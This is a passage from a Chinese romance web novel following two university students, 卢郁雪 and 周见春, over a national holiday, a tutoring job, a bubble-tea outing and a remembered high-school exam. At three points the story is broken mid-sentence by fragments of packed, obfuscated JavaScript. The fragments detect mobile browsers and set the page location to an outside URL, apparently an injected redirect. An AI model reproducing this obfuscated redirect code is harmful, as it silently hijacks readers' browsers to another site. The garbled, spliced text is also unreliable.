这个点应该不会睡觉,可他应该发什么呢。 卢郁雪认出了他,周见春可以肯定,他能察觉到卢郁雪有点不高兴,是因为自己没和她打招呼吗? 还是,因为自己没有按昨天说的话回家,她觉得自己骗了她。 “卢郁雪,睡了没,起来吃烧烤。” 透光的门缝被遮住,卢郁雪听到敲门声把手机扔在床上弹射起步开了门。 “吃吃吃。” 开门的角度呈现一个锐角,但走廊的照明灯足以将房内照亮,卢远峰疑惑地问道:“你今天睡这么早,改作息了?” 卢郁雪现在并不想问答这个问题,卢远峰的身上有烧烤味,但手上什么也没有。 “在饭桌上,你注意别掉身上,沾了油你妈骂你。” “知道啦。” 声音传来时卢郁雪人已经不在眼前,手机屏幕还亮着没有熄屏,卢远峰扯着嗓子问:“你手机还亮着呢。” “放那吧,不是什么重要事。” 卢郁雪头也不抬地答着,卢远峰已经拿着手机到了她身前,和周见春聊天的页面还没有退出去,上面还是两个人发的消息。 【周见春:你需要伞吗?外面下雨了】 她呆呆地昂着头接过自己的手机才明白为什么卢远峰的脸色不太好,不知道什么时候摁到发了个表情包过去,还是暗杀的表情包。 十分钟前的消息,周见春没有回她。 “在学校和同学还是要好好相处的,这是你大学同学吧。” 他说得语重心长,似乎还不适应年轻人之间随口说死掉杀了这种话,即便经常经手生命垂危的病人。 “不是,爸,我开玩笑呢,我当时没开灯,手滑点错了。” 卢郁雪见他欲言又止还想再解释,卢远峰只是摆摆手说:“你先吃吧。” “不是,我真的没有。”手机铃声生硬地打断他们的对话,两人的视线都移到弹出的横幅上。 【周见春:你是不是有点不开心】 “吃完饭记得回人家消息,已读不回很不礼貌的。” 卢远峰叹口气,很是认真地劝诫卢郁雪,只开了照明灯的客厅衬得卢远峰身形愈发高大,卢郁雪坐在椅子上无奈地继续吃烧烤。 真是有苦说不出啊,她盯着聊天框上的信息,还是决定给周见春回一个。 【卢郁雪:上面的表情包是我手滑点错了,你别介意。我回家时候没有下雨不需要伞,还有,我没有不开心】 为了挽回自己的形象,卢郁雪还发了一个可爱的表情包过去。 没有在输入中,卢郁雪盯了几秒熄灭手机屏幕安心吃着烧烤。 郁青从外面拧开门锁,刚换好鞋就开始嚷嚷:“我还以为你们都睡了,连个灯都没有。” 屋内没有开窗,烧烤的味迟迟没有散去,郁青一猜就是卢郁雪在吃,她啪嗒按下厨房的开关说道:“又吃又吃,整天吃这些,你迟早生病。” “偶尔偶尔,一次没事的。”卢郁雪已经吃完正擦嘴收拾桌面,讨好地哄着郁青说。 “不管你。” 卢郁雪没有再还嘴,把垃圾收拾好放到门口。走道的风很大,吹到脸上饱含水汽,湿漉漉的,并不舒爽。 她赶紧关上门回到自己床上,不知是喝了热可可还是吃了烧烤,卢郁雪现在清醒地能爬起来做套六级。 不在宿舍她关了静音,不知道什么时候自己给itset开了权限,噔噔地弹了好几条消息。 顺着弹窗点进去,居然真的有套卷子没做。 死嘴,说什么来什么,她瞥向下面的截止日期,在两个星期之后。 悬着的心平稳落下,不急不急,开学再说吧。 卫生间传来哗哗的水声,卢郁雪的房门没有关死,她待会还要出去刷牙。向上拨了几格的铃声猛然响起,惊得卢郁雪又拨了回去。 周见春发来的消息。 【周见春:祝你假期愉快】 等了这么久,就发这条消息,卢郁雪躺在床上高举着手机,长发别在耳侧,卢郁雪一动就被压在了身下。 她回了一个国庆快乐的表情包,此后,再无言语。 卢郁雪想说的不是这个,她也不知道为什么自己没有问出口。以往遇到两个人冷战,她总是会说,有什么话好好说,别当哑巴让人猜之类的话。 可轮到自己身上,她竟什么也问不出口。 问周见春为什么不回家,还是问他为什么在兼职,为什么兼职不告诉自己。怎么看,都是不符合当下他们关系的问题。 从高中的时候她就应该明白,维护体面对周见春来说是多么重要的事,她自以为是的好心很可能摧毁一个少年的自尊。 他们都小心翼翼地把控着边界,生怕无意间让彼此难堪。 外面水声渐停,卢郁雪听到门被打开的动静,抓起一个发圈胡乱扎了一下往淋浴间走。 郁青正对着镜子抹护肤品,忽然探进来一个人头吓得郁青忍不住开口骂她:“进来也不出个声,跟鬼一样,干嘛呀,生活费上个星期就给你了。” 玻璃小瓶轻轻放在大理石的水池边上,郁青拿起另一个细长的护肤品要涂,从镜子里看见身后的卢郁雪垂头不说话。 她转头问道:“你怎么了,是宋芷兰明天不能陪你玩难受了?” “宋芷兰怎么了,她要去哪?”卢郁雪提起精神来,迷茫地开口。 “她妈妈单位组织团建,宋芷兰也被带上了,明天就走,没和你说吗?” 郁青继续抹着卢郁雪说不出名字的护肤品,像水又像乳,黏腻又有流动性。 团建这事,卢郁雪确实毫不知情,但也不是什么大事,估计再过一会儿就接到宋芷兰吐槽的语音了。 她现在想问的是另一件事。 卢郁雪的脸上挤出一个笑,伸手想去挽郁青的胳膊被甩了回来。 “说。” 水润的乳液均匀抹在脸上,在灯光下像是一面光滑的镜子,匀称地反射着光线,郁青在眼角轻轻擦着眼霜从镜子里和卢郁雪对话。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13902226|146324||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “妈,高中时候你帮我请的家教在哪找的,能知道谁家里缺家教吗?” 镜子中的手悬在空中,遮住郁青的下张脸,卢郁雪听见她幽幽地开口:“你可别误人子弟了,现在家教什么高材生没有,生活费又什么少过你,你又想买镜头了?” 她不止一次提过想换相机镜头,现在用的是高考完十九中按成绩给毕业生发的奖学金买的。 买的不是套机镜头,但拍得多了总想换,大光圈超长焦定焦等等,她恨不得每样都来一个。 卢郁雪摇摇头,认真地回道:“不是我,我有一个同学,他家里条件不太好,正在找兼职。我记得高中时候你给我请的家教就挺贵的,我想帮他也问一下。” “大学同学?” “对,也是江大的。” “你们学校奖学金覆盖率不是挺高的吗?” 郁青发出疑问,但细想,大学里的奖学金金额确实不够一个学生自食其力。 国奖有八千块钱但多给大三大四,大二学生即便有名额很难评上。国励的名额倒是很多,大二也能评上,但国励和助学金一般二选一,再加上校一等奖学金。 满打满算也就六七千块钱,甚至不够交完学费和住宿费。 郁青沉思一会儿,摆好洗漱台上的瓶瓶罐罐,转身走向卧室对卢郁雪说:“那个群我应该没退,但是你同学才大二肯定没有教资,现在家教要求很高,又要看教资又要看高考成绩的。” 划开手机在群聊的页面扒了好久才找到当时的家教群,郁青一直开的是免打扰,群消息倒是一直都有,最近一条还是两天前找国庆家教的。 每年六月群里的人进进退退,反而维持在相对平稳的人数。 “我拉你进群了,记得把你同学拉一下。群里都是这个区的家长,从学校去上课也方便。” “好。” 卢郁雪顿时喜笑颜开,连连点头要回到自己卧室又被郁青叫住。 “话不要说满,万一没找到又是空欢喜。” “嗯。” 已经十点钟,也不知道周见春有没有睡觉。 咖啡店分早晚班,学校兼职她也有关注过,长期是十块每小时,像周见春这样国庆去的应该会高一点。 按十五一小时来算,半天下来也就几十块钱,而卢郁雪高中时候付给家教的工资是三百一小时。怎么看,都是家教更赚钱。 而且周见春高中成绩很好,这对他来说应该不难。 在心里把逻辑盘顺,卢郁雪盘坐在床上开始编辑文字。 【你如果在兼职的话要不要考虑家教,我认识一些招大学生家教的家长,他们都很好说话的,给的价格也合理】 刚发完,卢郁雪又觉得自己有点冒昧,这样周见春会不会认为自己在可怜他。也没有那么过分吧,她又没有拿钱往周见春身上砸。 她的脑子里一时思绪万千,趁着刚发出不久还能撤回,卢郁雪长按选中,上方出现两行操作选项。 按下撤回键卡顿的几秒里,一条消息把撤回成功的提示顶了上去。 明明没看到对方正在输入中啊,卢郁雪懊恼撤回太晚,这下周见春肯定看见自己发的消息了。 【我需要,谢谢你这么费心】 16. 桂花香 卢郁雪还没想好发什么,宋芷兰的视频电话打了进来。 她切屏给周见春打个招呼,收到对方拜拜的话她才摁下接听键,结束那尴尬的开心超人之歌。 “怎么样,准备去哪玩呢?” “阿姨跟你说啦,别提了,昨天还说出差,今天我一回家人就在客厅了。也不知道我妈怎么想的,说有家属名额就非要带着我去,也不看看现在是国庆假期,我才不去呢。” 电话那头的声音慵懒,卢郁雪还能听见风灌进来的声音。 “你记得关窗,这几天好像一直下雨。那你怎么推辞掉的,你不是不擅长拒绝吗?” “噢,我说我去学车,高考完考了科一到现在没考科二。我一约就约上了,等我妈一走我就取消。” 宋芷兰说得很得意,卢郁雪哭笑不得,只好祝她计划顺利。 “你就不能认认真真学嘛,你哄着我跟你一起报名,结果我考完了你一次不去。” “再说吧,再说吧,哎,我明天就不去你家了,冰箱里剩的蛋糕你记得吃。” “你要去哪?” “我要在家里躺一天,我要享受假期。” 大约过了一刻钟,窗外又下起了雨,宋芷兰挂断电话去关窗。卢郁雪伸长胳膊关了床头的灯,整个人钻进被窝里只露一个脑袋出来。 被子应该被晒过,软软柔柔的,有种说不出的味道,盖在身上像是没有重量。外面小雨淅淅沥沥,偶有鸣笛也被连成线的雨硬生生砸断,传到人的耳边只有风雨混合的呜咽声。 国庆七天假期过得很快,今天下了雨,明天停后天接着下。卢远峰还要去医院上班,郁青倒是闲着在家,不过也是各自在卧室呆着。 早起买菜的时候总会逗睡梦中的卢郁雪想吃什么,她闭着眼以为做梦胡说一通,醒来发现郁青都买来了。 日子过得太快了,七号那天上午,卢郁雪装好自己的书包决定回学校。 “不是明天才开学,你今天走什么?” “假期过得太快了,我要去学校延长一下。” 卢郁雪郑重其事地说着自己的想法,郁青早已习惯她这种没脑子的模样,塞了两瓶牛奶到她书包里,拍拍卢郁雪肩膀笑着说:“去吧,祝你度日如年。” 怎么听起来不像好话呢。 雨后的江林市萧条很多,落叶堆积在水洼旁,踩下去,连水带叶地粘在鞋上。 她出门时换了一件厚外套,还是觉得不抗风,周遭空气好像换了一批,每每吹来都像是在吸食卢郁雪身上的暖意。 路不长,但卢郁雪裹着外套迎风走比往常要更费劲些。岔路口的凸面镜倒映着路况,卢郁雪看去,只有吹得七倒八歪的香樟树冠。 没有建筑遮挡,风像是从四面八方吹来,口罩不再贴着鼻梁,贯通她的下半张脸,卢郁雪喝了一嘴的风好像还有砂砾。 卢郁雪摘下口罩用力呸了一口,视线被遮住的另一个路口走出一个人。 黑色冲锋衣白口罩还有灰色背包,身形颀长,眉眼深邃。时而衣服贴着身体,隐约可以看出线条。 他定定站着,身后是看不出形状的风和灰蒙蒙的天,他迟疑着向卢郁雪走来。 卢郁雪的神经瞬间绷紧脑中闪现无数的细节,直到眼前的人走近,杂碎的信息倏忽连成完整的一条长线。 快要跳出的心脏平稳下来,她又听见耳边的风声。 “你怎么在这?” “家教试课。” 卢郁雪抬手捏紧口罩和鼻梁的缝隙问他:“试课?那你试得怎么样?学生听话吗?家长好说话吗?” “挺好的,但家长要过几天给我答复,谢谢你。” “不用客气,那个,你以前没想过找家教吗?” 大学生家教不是什么稀罕事,卢郁雪身边就有同学寒暑假靠这个自己赚钱,周见春这么聪明的人不应该想不到啊。 “找过,中介抽成太多。” 他说得一本正经,可卢郁雪听着,总觉得他带了点情绪,在埋怨又像是在吐槽。 圆润的眼部线条此时盛满笑意宛如新月,她轻轻扯了周见春的袖口问他:“你吃饭了吗?我请你吃饭。” 袖口本就窄,被卢郁雪捏起后更是没有一点空隙,灌不进去风,皮肤的温度也开始上升,手腕处的血管跳动更快。 他的心口一紧。 但卢郁雪很快松了手,风再次流动起来,带走热量抚平跳动的脉搏,刚刚的一切就像是落了一片羽毛,难以察觉。 “我吃了早饭,还不太饿。” 他说得诚实,卢郁雪的情绪肉眼可见地低了下去,周见春急忙找补:“我请你喝奶茶吧,今天有点冷。” “嗯?”卢郁雪歪着头看他,想问不是缺钱吗但细想现在是月初,生活费肯定充裕。 她笑着应下:“好呀,你是不是回学校我们一起吧。” “好。” 出了门卢郁雪要往对面的地铁口走被周见春伸手拽了回来。 “森林公园站不停,坐公交吧。” “啊?” 她发出质疑,自己前几天还和宋芷兰去学校呢,没听说过站不停啊。 那天的地铁很吵人,轰隆隆响,闸机口的喇叭提醒不同目的地从哪个口出,还有宋芷兰在她身边叽叽喳喳的。 至于广播,实在记不得了。 周见春耐心地说:“国庆期间,每天十一点到一点到站不停,你们来学校那天是晚上。” “哦~。”她夸张地应和着,举起大拇指给周见春点了个赞。 公交车还没有来,卢郁雪站在周见春身侧,男生的个子高能挡住侧面吹来的风。 一连下了几日的雨,空气都湿润许多,卢郁雪感受这天气的变化察觉时间的流逝。 她已经很久没有这样安静放空地无所事事,过去的自己总是被推着向前走。在拥挤的升学大军中哼哧哼哧埋头苦学,又在松散的大学校园里学别人卷绩点保荣誉。 过去的每一步都并非出自她的本意,只是在人云亦云的环境中匆匆做了选择。 想着这样真正去贴近内心感受生活,是很奢侈的事情。她没有那样充裕的时间去寻找自己所热爱的东西。 还有二十八秒红灯就要过去,那辆公交车会停在她的面前,她也一定会上去。 于是,她将再次回到焦虑的环境中,再次像个无头苍蝇一样在原地打转。 周见春站得笔直,目光不知看向哪里,涣散的,好像没有聚焦。 卢郁雪昂头试探地问他:“周见春,你有梦想吗?” 从学生时代,周见春就是和她不一样的人。 因为长相和成绩而被带上光环的周见春,因为家境贫寒争取贫困生名额的周见春。 一面光芒万丈,一面大雪满肩,他努力自洽努力平衡。 这些,卢郁雪都知道。周见春是有韧劲的人,可卢郁雪不是。 她努力学习补齐短板,没有其他原因,只是父母希望她能考上好大学,不想被同学嘲笑关系户。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13931630|146324||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >当然,她是有受到周见春一些激励,想和他肩并肩平等地站在一起。 可这些都不是她真正想要的,她也不知道自己想要什么。 “小时候有,现在没有了。”周见春偏头看向她,眼中没有惋惜,平和得像是能容下所有遗憾。 和周见春谈梦想,确实算刻薄了。 她比周见春生活富足,成绩差也能请得起家教,小时候还因为去国际学校和公立学校纠结过。自己和他谈梦想,不是精神交流,更像是居高临下的矫情。 卢郁雪能察觉到周见春的情绪变化,她将话引到自己身上努力活跃气氛。 “我小时候也有梦想,我说我想开小卖部,我妈骂我怎么不去捡垃圾。” 边说边看着周见春的脸色,他没有说话只是静静听着,卢郁雪接着说了下去。 “我说,捡垃圾要动作快,我跑得慢抢不过人家。” 他垂头一笑,好像想说什么,但公交车已经停在站台。 江林市老人免费乘公交车,卢郁雪看着满满当当一车人,认命地抓了根杆子。 车内很闷,没关紧的窗户缝里透着风直直吹起卢郁雪侧边的碎头发,拢到耳后又被吹起,很不安分。 她放弃整理碎头发,不安分地扫着四周,周见春跟着她的眼神也看了一圈,没明白卢郁雪被什么吸引。 这个年纪的老人似乎喜欢结伴出行,三三两两坐在一起,哪怕不认识也能聊起来。 卢郁雪听他们唠完子女唠孙子孙女,接着再唠养老院医院体检。形形色色新奇又不新奇的各种事,如果身边站的是叶敏,她们应该会互相交换眼神偷笑。 可现在,旁边站的是周见春,对什么事情都不关注的周见春,又怎么会听自己说这些无聊的话。 她踮起脚尖又默默矮了下去。 冲锋衣的布料蹭过她的手背,卢郁雪抬头看到周见春已经俯身低到她的高度。 粉白色的耳廓隐约可见青青紫紫的血管,侧脸的绒毛微细,窗缝中的风一吹像歪歪斜斜的芦苇。 卢郁雪呼吸的节奏被打乱,时轻时重地喘着气。她和周见春本就站得近,男生俯下身后空气都带有他的温度,聚拢在卢郁雪周围。 她的脸颊有些发烫。 “你说。” 车上的声音依旧杂乱,周见春的话隔着口罩在分不清来源的声线中突出又清晰地传到她的耳边。 “下车再说。” 她快速地答了这句话别过头去看着前面的车窗,周见春轻轻点头,抓着吊环站好。 车辆平稳运行,快到江林大学时,周见春按下停车的按钮。后门缓缓打开,吹去车内的燥热,卢郁雪发烫的脸颊也迅速降了温,她环顾四周确认回学校的方向。 周见春在她后面下车,临近开学,但没什么人,也不是谁都像卢郁雪一样周一就是早八。 “想喝什么?”他快步走到卢郁雪身边轻声问她。 今年的夏天太过炎热,本该在九月就盛开的桂花现在才飘出淡淡的香气,再过一个星期就该就能十里飘香了。 他想起高二时候和卢郁雪一起回家,那时嘉合花苑也种了桂花,香气弥漫在秋夜中,时浅时浓无法判断是从哪里飘来。 待他回家才发现身上沾了细细密密的橘黄色,数不清也散不去,和那时的月色一同被刻入回忆的场景中。 “珍珠奶茶吧。” 经典款,不出错。 “好。” 他掸去卢郁雪肩头的落花,笑着应下。 17. 专门请你的 “什么?虫子吗?” 卢郁雪身子快速向□□,看周见春站得淡定,这才心有余悸地看了一眼自己的肩膀。 什么也没有。 “是桂花。” 她这才嗅到空气中的桂花香,星星点点落在人行道的缝隙中,卢郁雪尴尬地笑笑,带着口罩周见春也看不见自己表情,恍若大悟说道:“桂花啊。” 刷脸进来第一眼,卢郁雪就看到了一排绿色的共享自行车,她突然想起自己这几天都没有校园跑。 现在不跑完,就得冬天顶着冷风跑。 卢郁雪往路中间走,插在兜里的手伸出来感受四周的风,碎头发被全部吹起遮住她的视线。 她本想背着风骑省点力,但现在的情况看来,四面八方全是风根本没有固定风向。 现在骑车会累死的。 卢郁雪叹口气转头看见周见春居然一直站在她旁边,像是盯了她很久和自己的视线碰上才不自然移开问她:“怎么了?” “哦,我想校园跑呢,风太大了,骑不了车。” 她抬脚要走,周见春突然接了一句:“我帮你跑。” “啊?” 卢郁雪没反应过来,周见春以为风太大她没听清自己的话又说了一遍。 “你帮我跑?你不会真跑吧,我都是扫共享单车骑的。” “真跑,需要吗?” 他的眼神在卢郁雪身上流转,不知是不是带了口罩的缘故,落在卢郁雪耳边的话总觉得带有一点勾人的意味。 需要吗?当然需要啊,蹬自行车也很累的。 卢郁雪没有点头,反而试探地问他:“免费吗?” “嗯。” “那好那好,你一般什么时候跑,我都可以的。” “晚饭前吧,五六点。”他认真想了想,报出自己平时跑步的时间。 路两旁的梧桐树高大茂密,但此时的枝头也逐渐枯黄萧条,落叶沿着路牙石铺开,卢郁雪踩上去就是清脆的断裂声。 “五六点的话,也可以。但明天我有晚课,六点半上课,能早一点吗?” “好,我都方便,看你时间。” 拐过梧桐大道,路上的人多了起来,连呼啸的风都舒缓许多,商铺灯牌亮着暖白的光,阴郁的天色下很是温馨。 奶茶店是很重的玻璃门,卢郁雪进去后周见春抵着门等下一个女生进来。 她点好单回头想问周见春喝什么,发现站在自己身后的是宣传部部长,周见春付完钱就挪到了旁边吸管区等她。 她们的交流多在线上,部门干事也很多,卢郁雪看对方站在吧台前等店员打包正犹豫要不要开口打招呼,提着保温袋转身的部长先于她开口。 “诶,宝宝你返校啦,迎新晚会辛苦你了,过几天补志愿时长记得签到哦~。” 卢郁雪还疑惑部长怎么认出她,张口寒暄几句耳廓上的束缚不在才想起自己摘了口罩。 “拜拜。”她挥挥手目送着那道倩丽的身影远去,门上风铃哗哗作响,卢郁雪松口气转身看向吧台。 店员用毛巾擦了擦几杯冷饮,见她注意力回到这里才开口问道:“打包吗?” “打包。” 屋内的空气平静地像是夏日一碧如洗的天空,没有多余的色彩存在。玻璃门只开一个缝隙,就像是灌入打翻的调料桶,台面未收进去的杯托都险些吹落在地。 周见春关了门,风铃也平稳下来,暖黄色的灯光下,奶茶店像是一个游戏小屋,不谙世事。 “你不喝吗?” “没什么兴趣。” “所以专门请我的?” “专门请你的。” “那你对酸奶也不感兴趣吗?” 她这话乍听好像没什么问题,一旦细究便觉得是有导向地在问,卢郁雪见周见春不明所以接着说了下去。 “附中合格考时候,我在食堂看见你了。” 卢郁雪吸了一口奶茶,抬眸等着周见春的回答。 “高二?” “嗯。” 他本就眼型细长,不笑的时候深邃又锐利,只有情绪波动时才能见到一点波澜。 周见春的眉头微微皱起。仔细回忆自己的合格考,怎么也没有在片段中找到任何关于卢郁雪的身影。 她也分在附中吗?自己怎么完全没有印象。 “不记得啦?”似乎在意料之中,卢郁雪搅了搅吸管漫不经心地说道。 他茫然摇摇头,一片枯叶被风卷起落在脚下,他全无防备地踩了上去,咔嚓一声,比那年咯吱咯吱的积雪不知响亮多少倍。。 在合格考之前,江林市已经下了不知道多少场雪。 一连着阴了半个多月,实在难以界定什么时候开始什么时候结束,卢郁雪只记得每天都会飘点雪,又因为暴雪停过一次课所以每每飘雪都会很期待下大。 坐上大巴车的时候,窗外又开始飘雪,这次卢郁雪不希望它下大。全省统一的考试,下大了考试也不能延期,还会苦了自己。 车里打了空调,卢郁雪裹着厚厚的羽绒服还是觉得冷,是从骨子里透出来的冷。暖宝宝温热她的皮肤,但无法通畅她的血管,弯曲伸直都不能顺着心意。 考点在师大附中,和十九中邻区,积雪的路面也早在凝成冰层之前就有人连夜清扫。 原定时间是提前一个小时到考点,分发准考证身份证然后提前半个小时进场。 不知哪位学生迟到,大巴车比十九中其他车辆晚走十几分钟,没能跟上同一考点的车辆。 司机又昏了头,给他们送错了学校,随行老师请示领导让交警队给他们开了单独的通道才急急往附中赶去。 卢郁雪被邻座拍醒的时候,随行老师正在晃动的车内叫着名字发准考证和身份证。 她人还没有清醒,不明白应该进场前发的东西怎么现在到了自己手里。 打开手机看清时间,卢郁雪都怀疑自己在做梦。八点半开考,现在已经八点二十了,她居然还在车上,她不是应该坐在考场写自己名字考号吗? 从七零八碎的话语拼凑出自己昏睡的一个小时多小时都发生了什么,卢郁雪抬手擦去玻璃窗上的雾气,看大巴车终于驶入路牌上标有附中字样的马路。 她有点想笑,不是认为自己倒霉,就是单纯觉得荒诞,这是她平庸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13947245|146324||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的高中生活里第一次遇到这样的事。 口袋里的暖宝宝已经热得发烫,细细的颗粒贴着她手背,卢郁雪抽出手来靠着皮质的座椅降温。 路边的积雪还未完全消融,东一块西一块堆在墙角,铁质的围栏上还缠着钢丝,像防贼一样。 卢郁雪从车窗看到附中正门的时候,冗长的考生须知早已念完,考试开始的广播也已经结束。 考试期间禁止鸣笛,信号全覆盖,路边听着国家电网警车消防车救护车等等,但周围却静得只能听见风声。 车辆停放是有规划区的,即便是这样的特殊情况,附中依然不愿意给他们开特权。 卢郁雪从车上下来时,到处都是红底白字的横幅和拦住考场入口的彩旗。 如果这不是宋芷兰的母校,卢郁雪早在心里骂八百遍了。 她展开自己的准考证想看清考场,风却直直将纸吹成对折,只好两只手都伸出来受着冷风。 卢郁雪没来过师大附中,对教学楼分布完全不了解,平面图还是东西南北的。 好在每栋楼下都有本校的老师,她挨个问过去,一路小跑。 她有点倒霉,分的教学楼离停车场最远。完全降到零下的风,冻成硬疙瘩的雪块,卢郁雪带着口罩也觉得面上很疼。 大口喘息的气向上涌,护住想要流鼻涕的鼻头。同一辆车下来的没有一个人和她在一个考场,她把自己的羽绒服向上提尽量能跑得快一点。 她的身后空无一人,头顶是阴云密布,雪花一片片落在她的发间,也落在她的额头上睫毛上,冰冰凉凉消融成水。 卢郁雪睁不开眼睛,眯着眼往最远的那栋楼跑,实在冷得受不了了就把手放在有暖宝宝的口袋里回个温。 开考十五分钟后禁止入场,她不知道如果真的赶不上应该怎么办,随行老师让他们一下车就跑,说还有十分钟。 可她跑八百米都要四分钟,这栋楼怎么看,也得有一千米。 大不了明年再考吧,卢郁雪给自己预设了最差的结果。反正不影响高考,合不合格又有什么关系。 心里这么想,但卢郁雪步子是一点没停,一面安慰自己没事,一面拼命往教学楼跑。 跑到喉咙干涩恶心反胃的时候终于上了楼,幸好在二楼,还有四分钟,可以歇一会儿了。 她边走边从书包掏出准考证身份证和笔袋,这样节省一点时间。 考场的门窗紧闭,门外瓷砖上贴着考场号,卢郁雪一间间看过去找自己的考场。 空调刚开不久,玻璃还没有起雾。正值流感期间,大部分人都带了口罩,但考场很热,有男生脱了羽绒服只穿个卫衣做题。 风吹得更猛,连雪都吹到了走廊。卢郁雪贴着墙走,再回头,窗边的一位男生抬头在笔袋里找什么。 那面容卢郁雪再熟悉不过。 是周见春啊。 风雪满天,辽阔的天地尽是萧条,卢郁雪抵着无边无际的寒风密雪跑到了考场。 她原本觉得自己的人生很荒诞很无趣,但这样荒诞的场景里出现了周见春。就像是上天写剧本懒得雕琢,才会把毫不相关的两个人被硬凑在一起。 18. 你俩谈啦 她踩点踩得很准,刚坐好,禁止入场的广播就响了起来。 考试时间不长,但应付合格考足矣。卢郁雪写完无聊地趴在桌子上看窗外飞雪逐渐停歇,不明白为什么科任老师吹得那么玄乎,还以为多难呢。 上午共两场,物理和政治,考完政治去师大附中的食堂吃饭。 飘了一个上午的雪只在绿化带上积了薄薄一层,轻轻一碰就哗哗掉落融成水。 卢郁雪抬头看着天空,觉得下午应该会晴。 云层很薄,还透着光呢。 中间休息的时间太短,只能在附中吃饭。学校发了餐票,但卢郁雪没买,宋芷兰初中在师大附中,得知她考点在这特意往饭卡充了钱借给她用。 这不比餐票好用,想吃什么吃什么。 合格考期间其余年级放假,师大附中只开了一个食堂,卢郁雪的考场离食堂又远,她背着书包找到位子的时候已经有不少人吃完离开。 无所谓,闲着也是闲着,人少还省排队了。 每个窗口除了打饭,还赠有酸奶水果。卢郁雪站在后面垫着脚东张西望生怕排到自己没有了。 还好还好,供应量充足。 旁边队伍的男生和阿姨在说什么,隔着玻璃窗,卢郁雪也听不清。 “小姑娘,你吃什么?” 卢郁雪叽里咕噜报了一大串菜名,转头继续盯着旁边队伍的动静。 “你不要酸奶啊?这恐怕不行,每个学生都得拿。” 第一次听到这个要求的食堂阿姨严词拒绝挑食的学生,强硬地把酸奶放在他的餐盘。 男生没有言语,转身要往队伍后走。 卢郁雪没带水杯一上午渴得要死,反正大家也不认识,她直接上去拍了拍这位男生的肩膀。 “同学,你不要酸奶能给我吗?” 少年闻声抬眸,两人的视线撞在一起。卢郁雪心猛地跳了一下。 卢郁雪没想到这个人会是周见春,虽然带着口罩,但她还是认出来了。 他抬眼看向卢郁雪,神色平静也没有说话,只是把酸奶和吸管一起塞到卢郁雪手中。 那是直接掰开的酸奶排,小小一个一口就能喝完。掰开的边缘并不光滑,塑料刮过她的掌心,有点刺挠但不算疼。 少年的指尖是浅粉色,垂下的时候修长又纤细,卢郁雪呆呆站着连谢谢都没有说出口。 “小姑娘,你的饭。” 窗口阿姨敲了敲台面,卢郁雪晃过神来,从口袋里摸出饭卡刷钱。 男生站在原地,看清她递出的是饭卡不是餐票。 只有师大附中的人才会刷卡。 周见春这样想。 “所以,你当时真的没认出我?” 三年过去,卢郁雪的长相没有多大变化。杏眼窄双眼尾上扬,笑起来会有卧蚕,弯如新月。 周见春这时才把眼前的人和过去的场景重合,原来他没有认错,只是因为师大附中的饭卡否定了自己。 “可我一眼就认出了你诶。”她放下奶茶,认真地盯着周见春说。 她说得平和,没有一点埋怨和委屈,甚至有点少女的娇俏。没有要求周见春给出什么解释,只是对过去的打趣。 但周见春能明白,明白她的失落,他垂下眼帘。 卢郁雪心口闪过一丝悸动,但很快平息,是她越界了。 周见春这样细腻的人,怎么会听不出来她话里的埋怨,可那时他们交集甚少,他也没有义务为那时自己没有认出卢郁雪负责。 风从指缝穿过,时间也是这样,她又在纠结什么呢。 “走吧。” “我当时其实认出了你。” 周见春的声音拔高了几度,压过内心所有的纠结踌躇,他拒绝还在计较得失的理性,由着这股上头的情绪说出真正所想。 “但我不确定是不是你,我不知道你和我一个考点,我也不知道你初中是师大附中的。所以,所以……” 他越说声音越小,眨眼的频次也高了起来。 “对不起。” 想来想去,他还是说了这句话。 卢郁雪扑哧一声笑出来,歪着头看周见春垂头丧气的模样觉得好笑。 “没认出来就没认出来呗,你不用道歉,而且我也不是师大附中的,那是宋芷兰的母校,我用她的饭卡。” “哦哦,这样啊,那,那你是喜欢喝那个牌子的酸奶吗?明天早八我给你带一瓶吧。” “啊?”卢郁雪不知道话题怎么又歪到酸奶上去。 “不喝的话,那我送你回去吧。” 周见春自己将话圆了回去,卢郁雪憋着笑一言不发。 梅园是地理位置比较偏远,回宿舍也必定会经过随园,但如果不专门送她,从食堂穿过去会更近一点。 从天悦府过来到这有半个多小时,她怕耽误周见春兼职。 “你下午还有其他事情吗,会不会太麻烦?” “不兼职,不麻烦。” 卢郁雪不得不承认,周见春的心思很敏锐,眼前的周见春远比她高中时候所认识的要丰满得多。 可时至今日,她对周见春的了解依然停留在浅薄片面的层次。 那周见春现在这样亲近自己,是因为自己帮她找了不抽成家教礼貌地客气,还是因为高中拒绝自己表白抱有歉意。 卢郁雪不敢细问,她怕再问下去,这个疙瘩就越不过去了。 虽然,原本也不怎么熟。 就当他只是感谢自己,这也没什么,她应得的。 